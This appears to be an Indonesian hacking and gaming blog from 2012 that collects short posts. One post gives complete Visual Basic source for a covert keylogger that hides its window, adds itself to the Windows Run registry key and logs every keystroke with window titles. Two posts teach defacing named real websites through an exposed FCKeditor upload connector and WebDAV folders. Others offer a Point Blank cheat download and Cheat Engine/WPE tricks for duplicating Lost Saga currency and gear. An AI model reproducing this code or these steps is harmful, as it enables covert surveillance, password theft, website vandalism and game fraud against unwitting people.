Selamat Datang Teman
Pin It

Spesial WeekEnd Party For Public Trial 1 Day

Saturday, March 31, 2012



MAINCIT.NET

Fitur:
- Full WH
- No Smoke
- Invisible Kill
- HeadShot 1 Hit
- GM Access Tero/CT, Quick Change, Darah 120
- Anti Vote
- Pasang/Defuse
- Hollow
- Full Replace Auto On
Credit: Jazz Hacx



Cara pakai cheat:
- Buka Cheat
- Start PB
- Tekan Enter untuk hilangkan notice (Jika ada)
- Tunggu sampai proses HS selesai
- Enjoy.

Virus Total : www.virustotal.com
 download
http://www.ziddu.com/download/19022115/WeekEndParty.rar.html
 
THX TO MAINCIT.NET
Read On
Pin It

Singel Baru UNGU ( New Hari Ini)

Download Singel Baru UNGU :
Click here
Read On
Pin It

Portable Keylogger with Visual Basic

Thursday, March 29, 2012
Buat Project baru pada Visual basic, tambahkan 1 Form dan 1 Module. Pada Form tambahkan juga 1 Timer, Aturlah Properties Timmer Interval=0.


Ketiklah Kode program berikut ini.

- FORM CODE-
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Dim title As String, last As String, strInfo As String, fileName As String
Dim handle As Long, length As Long
Dim i As Integer
Dim fso As New FileSystemObject, txt As TextStream

Private Sub Form_Load()
    'Atur Path untuk LOG file
       fileName = App.Path & "\SpyEx.txt"
       Set txt = fso.OpenTextFile(fileName, ForAppending, True)
       txt.WriteLine ("Started: " & Now)
       Set objNet = CreateObject("WScript.NetWork")
       strInfo = "User Name: " & objNet.UserName & vbCrLf & _
                     "Computer Name: " & objNet.ComputerName & vbCrLf
       txt.WriteLine (vbNewLine & strInfo)
 
       keyChar = Array(8, 9, 160, 17, 18, 35, 36, 46, 91, 92, _
                        112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, _
                        32, 106, 107, 109, 110, 111, 186, 187, 188, 189, 190, 191, _
                        192, 219, 220, 221, 222, 96, 97, 98, 99, 100, 101, 102, 103, _
                        104, 105)
 
       keyList = Array("BACK", "TAB", "SHIFT", "CTRL", "ALT", "END", "HOME", _
                     "DEL", "LWIN", "RWIN", "F1", "F2", "F3", "F4", "F5", "F6", "F7", _
                     "F8", "F9", "F10", "F11", "F12", " ", "*", "+", "-", ".", "/", ";", _
                     "=", ",", "-", ".", "/", "`", "[", "\", "[", "'", "0", "1", "2", "3", "4", _
                     "5", "6", "7", "8", "9")
 
       App.TaskVisible = False
       Me.Hide
       startup         '// ===> Aktifkan Keylogger setiap Windows Start
       Timer1.Interval = 1
       KeyboardHook
End Sub

Private Sub Form_Terminate()
       Unhook
       hook = 0
End Sub

Private Sub Form_Unload(Cancel As Integer)
       txt.Write (vbNewLine & "Ended: " & Now & vbNewLine & vbNewLine)
       txt.Close
       Unhook
       hook = 0
End Sub

Private Sub Timer1_Timer()
       last = title
       handle = GetForegroundWindow
       length = GetWindowTextLength(handle)
       title = String(length, Chr$(0))
       GetWindowText handle, title, length + 1
       If title <> last And last <> "" Then
             txt.WriteLine ("<<" & last & ">>" & vbTab & keys)
             keys = ""
       End If
End Sub


-MODULE CODE-
Private Type KBDLLHOOKSTRUCT
        code As Long
End Type

Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long         ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Private Const WH_KEYBOARD_LL = 13&
Private Const WM_KEYDOWN = &H100
Private Const READ_CONTROL As Long = &H20000
Private Const STANDARD_RIGHTS_WRITE As Long = (READ_CONTROL)
Private Const KEY_SET_VALUE As Long = &H2
Private Const KEY_CREATE_SUB_KEY As Long = &H4
Private Const SYNCHRONIZE As Long = &H100000
Private Const KEY_WRITE As Long = _
((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
Private Const HKEY_LOCAL_MACHINE As Long = &H80000002
Private Const REG_SZ As Long = 1

Private hook As Long
Dim hookKey As KBDLLHOOKSTRUCT
Public intercept As Boolean
Public keyCode As Long, keys As String, keyList, keyChar
Dim subKey As String, key As Long, str As String, size As Long

Public Function startup()
       subKey = "software\microsoft\windows\currentversion\run"
       str = App.Path & "\" & App.EXEName & ".exe"
       size = Len(str)
 
       RegOpenKeyEx HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, key
       RegSetValueEx key, "SpyEx", 0, REG_SZ, ByVal str, size
       RegCloseKey key
End Function

Public Function KeyboardProc(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

      If wParam = WM_KEYDOWN Then
             Call CopyMemory(hookKey, ByVal lParam, Len(hookKey))
             keyCode = hookKey.code
             For i = 0 To 21
                    If keyCode = keyChar(i) Then keys = keys & "[" & keyList(i) & "]"
             Next
             For i = 22 To 47
                    If keyCode = keyChar(i) Then keys = keys & keyList(i)
             Next
             If (keyCode >= 48 And keyCode <= 57) Or (keyCode >= 65 And keyCode <= 90) Then
                    keys = keys & Chr(keyCode)
             ElseIf keyCode = 13 Then
                    keys = keys & vbNewLine & vbTab
             ElseIf keyCode = 123 Then
                    ' MsgBox "SpyEx is closing... The output file is located in " & App.Path & "\SpyEx.txt", vbCritical, "SpyEx"          // ====> Sebaiknya dibuang saja
                    Unload Form1
             End If
      End If

      KeyboardProc = CallNextHookEx(hook, ncode, wParam, lParam)
End Function

Public Function KeyboardHook()
      hook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KeyboardProc, App.hInstance, 0&)
End Function

Public Function Unhook()
      Call UnhookWindowsHookEx(hook)
      hook = 0
      Unhook = 1
End Function


++++++++++++++++++++++++++++++++++++++++++++++++++
NOTE: Untuk menonaktifkan Keylogger dari memory, tekan tombol [F12]
Read On
Pin It

Send mail from Visual Basic

Script VB untuk kirim email menggunakan Microsoft Outlook

Sub Kirim_Pesan      
        Set OAPP = CreateObject("Outlook.Application")
        Set msg = OAPP.CreateItem(0)
        msg.To = <e-mail  tujuan>
        msg.Subject = <judul email>
        msg.Body = <isi pesan email>
        msg.Attachments.Add (<path attachment>)
        msg.Send
        Set msg=Nothing
        Set OAPP=Nothing
End Sub

NOTE: Komputer harus terinstall Microsoft Outlook :))
Read On
Pin It

FB Auto Comment & Like Generator Plus v4.1.6 (Update)

1 komentar

Melengkapi update sebelumnya,dimana kembali dilakukannya improvement dari pihak pengembang Facebook, berikut kami release update terbaru Auto Comment & Like Generator v4.16.


*Tidak ada penambahan feature pada update terbaru ini.

Silahkan download Applikasi DISINI   thanx to Beruang Kutub Berbulu Domba



Read On
Pin It

JASA GB CHAR LS + PB

0 komentar Monday, March 26, 2012
JASA GB LOST SAGA DAN POINT BLANK MINAT HUB 085375738604


ATAU ADD MY FB ; http://www.facebook.com/profile.php?id=100000548712383
Read On
Pin It

deface web mudah

0 komentar Friday, March 16, 2012
nih deface gampang bagi pemula yg belum tau hahah

nih cntoh web yg we deface : http://www.schoolshopper.com.au/CONTOHDEFACEHENDRO.html







pake ini aja : http://www.schoolshopper.com.au/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html



trus upload file html kamu edit aja deh : http://www.2shared.com/document/Ksi46IuU/CONTOHDEFACEHENDRO.html



gnti connector nya ke PHP kalau gak bisa berhenti aja main komputer .hahaha
Read On
Pin It

Cara Mengganti Domain Di blogger Menjadi .com .net dan lain-lain

0 komentar Thursday, March 15, 2012

Read On
Pin It

Deface Gampang Pake WebFolder

0 komentar
- Harus pnya script HTML dolo , jika tidak punya script ambil disini Here  (ubah aja script nya jdi nama kamu n bagus2in aja)
- Simpan Script Di Notped
- Buka windows
- Klik Run isi code di bawah ini :

%WINDIR%\EXPLORER.EXE ,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{BDEADF00-C265-11d0-BCED-00A0C90AB50F}




- Sesudah itu kalian masuk di Web Folder klik kanan > New > Web Folder
- Ada tab ?? isi di stu web korban contoh http://www.hrbswx.com/
- sesudah doble klik pda folder yang sudah anda bkin tdi trus copykan Script Html anda di dlam folder tdi dan coba bka

-Ini contoh web yg udah di deface : http://www.hrbswx.com/bojonegorocyber.html

Terimakasi Telah Mengunjungi Blog Saya
Jangan Lupa Follow Ya
Read On
Pin It

BUG-BUG DI LOST SAGA

0 komentar
BUG PESO 

Spoiler: 
Siapkan peralatan seperti berikut :
1.Ce 6.2 ( sudah di refom kemungkinan tidak DC lebih besar )
2.WPE PRO 9
( HANYA BISA FIX DI WINDOWS 7 *64 BIT )
Klo PC mu 32 bit doang jangan harap berhasil..
ANTI VIRUS : DI SARANKAN AVIRA
Klo AN-VAS yg lain gw blm coba karena gw hanya pake AN-VAS AVIRA DI PC saya Hilarious

1.buka CE 6.2 lalu scan lost saga tapi sebelumnya klik dulu LS nya.
nah pas ada tulisan spasi baru nyalain CE.
terus lock game lost saga di CE nya.
masukin ID terus
search value peso di CE 6.2
kemudian copy ke WPE PRO 9
terus jual barang sebisa mungkin dapet peso jangan ngurangin peso..
terus copy value nya ke WPE

nah bagi yg dulu nya cheater pasti tau cara GB HS waktu jaman PB dulu .
ini cit peso sama kek cit HS dulu jadi peso nya bertambah
dia bakalan jual barang berulang kali .
intinya value nya di simak ,
caranya sama kek jaman GB HS di PB dulu.
saya ga mau terlalu frontal soal peso.
karena emang rumit tapi klo 1 orang berhasil ini bisa hasilin duid.
saya ga banyak comentar soal ini ,
soalnya usaha yg kalian dapet susah untuk berhasil tapi 1x nya berhasil kalian bisa jual tuh peso Hilarious
intinya di sini saya kasih tau program apa aja yg harus di pakai untuk cit peso Grin
Cara Bug Relic :
Spoiler: 
Saat kalian relic, perhatiin..
Ini hoki"an om Hilarious
Kalian gali, asal dapetnya jangan batu ini factor hoki loh, dan harus cari room relic yg rame alias klo gali ga dapet batu..
Nah pas kalian gali, perhatiin..
Saat kalian gali kan 3x cangkulnya ?
Nah siap" pas cangkulan ke-2 kalian beli gear yg kalian mau ( yg 1 hari aja ) klo kalian pas timing bugnya, pas kalian gali yg kalian gali = gear permanen yg tadi kalian beli 1 hari tapi jadinya permanen Hilarious
Tapi ati-ati klo dapet batu peso kalian 6.800 melayang..
Alias !@#$%^&* dapet gear 1 hari, tapi klo kalian hoki gear tadi jadi permanen Hilarious
Harus di coba pake char kecil karena saya sendiri 10x coba !@#$%^&* berhasil 4x alias blm fix soal bug gear permanen lewat relic soalnya dapet batu / barang kan random Hilarious
Cara Bug FWar :
Spoiler: 
biar bisa play sendiri..
Kalian bikin room FWar terus kalian invite siapa aja yg ga kenal nah pas kalian mau pijit start kick aja orang yg di sebelah otomatis semua view tanda X dan tinggal km sendiri tapi masih mencari lawan berarti kalian berhasil FWar sendiri.. Simple kok yg ini..
Cara Bug Crusade :
Spoiler: 
kalian msk ke ruum crusade (spectator), nah terus out, terus kalian lihat di atas kan ada setingan player, kalian seting min 1- max 1 dan seting tawanan terus klo lagi loading ( 30 sec ) nah disini kalian harus pinter, kalian klik kiri 1x ke room mana aja terus perhatiin, klo pas kalian klik roomnya keluar viewer ( nonggol bar orang" yg lagi main ) kalian langsung pijit esc, terus kalian klik" room lagi sampe dapet ( pas kalian klik kiri view nya ga keluar nah berarti berhasil, kalian langsung masuk ruum crusade aja main deh mau lt.40 / lt.60 kalian bisa masuk asal room yg kalian masukin uda pernah di masukin ( spec dulu sebelum mau masuk )
Cara Bug Gear :
Spoiler: 
km buat ruum crusade lt.1
Terus siap" nih di sini saat bug gearnya..
Persiapkan gear yg mau km bug, klo bisa sih HELM ( permanen ) saran dari saya, terus siap" pas ada tulisan 5 - 4 - 3 - 2 - 1
Nah pas start kalian klik gear yg mau di bug..
Terus taraaa, kalian lihat gear nya terpasang di hero / tidak,
Jika terpasang terus kalian liat inventory, gear yg tadi di bug masih ada / gak, klo ga ada gearnya tapi terpasang di hero = gagal..
Tapi klo di hero terpasang terus di inventory ada berarti berhasil terus kalian pakein gear yg 1 lagi ke hero lain..
Otomatis gear km ada 2, nah kelebihannya hero yg kalian pakai tadi saat bug cobain aja BY 1 mati ga tuh heronya Hilarious pasti ga mati deh..
Kecuali klo km ke drop pasti mati klo sekarat / ganti hero pasti lepas tuh gear, disarankan klo sekarat pake hero yg tadi di bug..

Read On
Pin It

Cara Menggunakan Karakter dan Huruf Spesial di Windows Sedot aja

0 komentar Tuesday, March 13, 2012
Anda mungkin pernah bertanya bagaimana cara menulis karakter dan huruf spesial seperti ® © Ø ¶ Å’ dan huruf-huruf yang lain padahal di keyboard tombol tersebut tidak ada. Sebenarnya jawaban dari pertanyaan tersebut cukup mudah bagi seorang yang ahli dalam dunia IT, tetapi bagi orang awam bukan tidak mungkin sampai saat ini belum bisa melakukannya.
Cara Menggunakan Karakter dan Huruf Spesial di Windows Image
Berikut tutorial bagaimana cara menambahkan karakter dan huruf spesial yang ada di windows!

1) Menambahkan karakter spesial jika menggunakan Windows XP

  • Klik tombol Start dan lanjutkan dengan klik menu Run.
  • Ketikkan charmap pada bagian jendela Run, lanjutkan dengan klik tombol OK atau menekan tombol Enter pada keyboard.
    Cara Menggunakan Karakter dan Huruf Spesial di Windows Image
  • Pilih huruf spesial yang ingin anda tambahkan dan klik Select jika sudah menemukannya.
  • Lanjutkan pencarian huruf yang lain.
  • Jika sudah menemukan semua huruf yang ingin anda tambahkan, klik tombol Copy.
    Cara Menggunakan Karakter dan Huruf Spesial di Windows Image
  • Paste di dokumen lain yang ingin anda tambahkan karakter spesial semisal di Notepad atau yang lainnya.

2) Menambahkan huruf spesial jika menggunakan Windows 7

  • Sama seperti pada windows XP, mulailah dengan klik tombol Start.
  • Bedanya, jika pada windows XP anda harus mengetikkan charmap, maka pada windows 7 anda harus mengetikkan character map.
    Cara Menggunakan Karakter dan Huruf Spesial di Windows Image
  • Selanjutnya, lakukan seperti pada penjelasan sebelumnya.
  • Selain menggunakan search form, anda juga bisa menggunakan menu Start\All Programs\Accessories\System Tools\Character Map, dan hasilnya juga akan menampilkan jendela Character Map.
    Cara Menggunakan Karakter dan Huruf Spesial di Windows Image

3) Menambahkan karakter spesial jika menggunakan aplikasi Microsoft Word 2007

  • Buka aplikasi Microsoft Word 2007.
  • Klik menu Insert.
    Cara Menggunakan Karakter dan Huruf Spesial di Windows Image
  • Pada bagian paling kanan anda akan melihat menu Symbols. Klik tombol Symbol dan pilih karakter spesial yang ingin anda tambahkan.
    Cara Menggunakan Karakter dan Huruf Spesial di Windows Image
  • Klik More Symbols jika ingin menambahkan huruf spesial yang lain.
  • Klik salah satu huruf dan akhiri dengan klik tombol Insert.
    Cara Menggunakan Karakter dan Huruf Spesial di Windows Image

4) Menambahkan karakter spesial jika menggunakan aplikasi Microsoft Word 2003 dan versi sebelumnya

  • Buka program Microsoft Office 2003.
  • Klik menu Insert dan lanjutkan dengan klik sub menu Symbol.
    Cara Menggunakan Karakter dan Huruf Spesial di Windows Image
  • Jika ingin menambahkan karakter spesial, klik tab Special Character.
Untuk tips nomor 3 dan nomor 4, anda bisa menggunakannya pada semua versi dari Microsoft Office, tidak hanya berlaku pada Word saja.
Selamat mencoba! Cara Menggunakan Karakter dan Huruf Spesial di Windows Image
Read On
Pin It

10 WANITA TERSEKSI SEPANJANG MASA

0 komentar Sunday, March 11, 2012
Berikut daftar lengkap 10 wanita paling seksi sepanjang masa versi Men’s Health:

1. Jennifer

2. Raquel Welch

 

3. Marilyn Monroe

 

4. Britney Spears

 

5. Madonna

 6. Betty Page

 7. Ursula Andress

 

 8. Pamela Anderson

 

 9. Jane Fonda

 

10. Angelina Jolie

 
Kalau di Indonesia kira kira siapa yang paling layak mendapatkan predikat Artis Paling Seksi menurut anda?
Read On
Pin It


BUG CRUSADE NIH :


BUG ARMOR NIH VIDEO NYA

:
Read On
Pin It

Cara Mendaftar Domain Gratis.

0 komentar Friday, March 2, 2012


ain gratis.

Untuk bisa membuat website gratis, hal pertama yang dilakukan adalah mendapatkandomain. Karena domain biasanya berbayar, maka untuk praktek disini menggunakandomain gratis co.cc. Domain gratis ini bisa gratis untuk selamanya asalkan hanya untuk kalangan pribadi dan setiap tahun jangan lupa memperpanjangnya dengan login kembali di website resmi co.cc.
Baiklah langsung saja tutorial langkah pertama membuat website gratis ini, silakan mendaftar domain gratis, klik link berikut untuk mendaftar:

Daftar Domain Gratis

Setelah masuk ke webnya co.cc, Anda bisa melihat kotak form untuk mengetikkan nama domain gratis yang Anda inginkan. Silakan mengisikan domain yang Anda inginkan. Alangkah lebih baiknya Anda membaca tips memilih domain sebelum mengetikkan domain yang Anda inginkan.
Untuk domain gratis co.cc ini terdapat suatu batasan, maksudnya untuk mendapat yang benar-benar gratis haruslah memilih domain yang bukan satu kata bahasa Inggris, nama negara, atau nama-nama yang sudah terkenal. Biasanya kalau menggunakan bahasa Inggris akan dikenakan biaya $3. Jadi biar bisa full gratis, silakan mengetikkan suatu kata dengan bahasa Indonesia, atau nama Anda, atau julukan Anda, atau kata-kata yang panjang (lebih dari satu kata).
mendapatkan domain gratis
Kalau sudah benar-benar mantap nama domainnya, silakan ketikkan di box tersebut nama domain yang Anda inginkan. Setelah itu lihatlah apa biayanya sudah $0 apa belum. Kalau sudah menunjukkan $0….
cara daftar domain gratis
cara daftar domain gratis, sudah menunjukkan $0
Setelah menunjukkan $0, silakan klik “Continue to registration” seperti pada gambar diatas. Nah, karena disini Anda belum memiliki akun co.cc, Anda harus membuat yang baru. Caranya cukup mudah, tinggal menyediakan sebuah alamat Email, saya sarankan alamat Gmail saja. Cara mendaftar co.cc klik “create an account now” pada bagian pojok kanan bawah seperti pada gambar berikut:
cara membuat web gratis-daftar co.cc
Klik create an account now...
Isikan semua form, lalu jagan lupa centang “I agree….”. Setelah pendaftaran selesai, cek email Anda. Kalau disuruh klik konfirmasi pada email, klik saja. Nanti Anda akan dibawa di halaman member co.cc dan disuruh untuk menyetting name server untuk keperluan hosting (langkah selanjutnya dalam membuat website gratis) nantinya.
Sesudah itu, login di co.cc. Lalu klik domain yang baru Anda buat tadi untuk setting name server (biasanya ada tulisan set up, klik itu). Setelah masuk set up, klik paling atas yaitu name server. Pada bagian ini ada beberapa kotak form lagi. Isi yang dua saja, pertamans1.000webhost.com, kedua ns2.000webhost.com.
domain name server
isikan name server pada set up domain gratis
Setelah selesai mengisikan, klik set up dan Anda telah menyelesaikan cara membuat website gratis langkah pertama. Well done! ;-)

Read On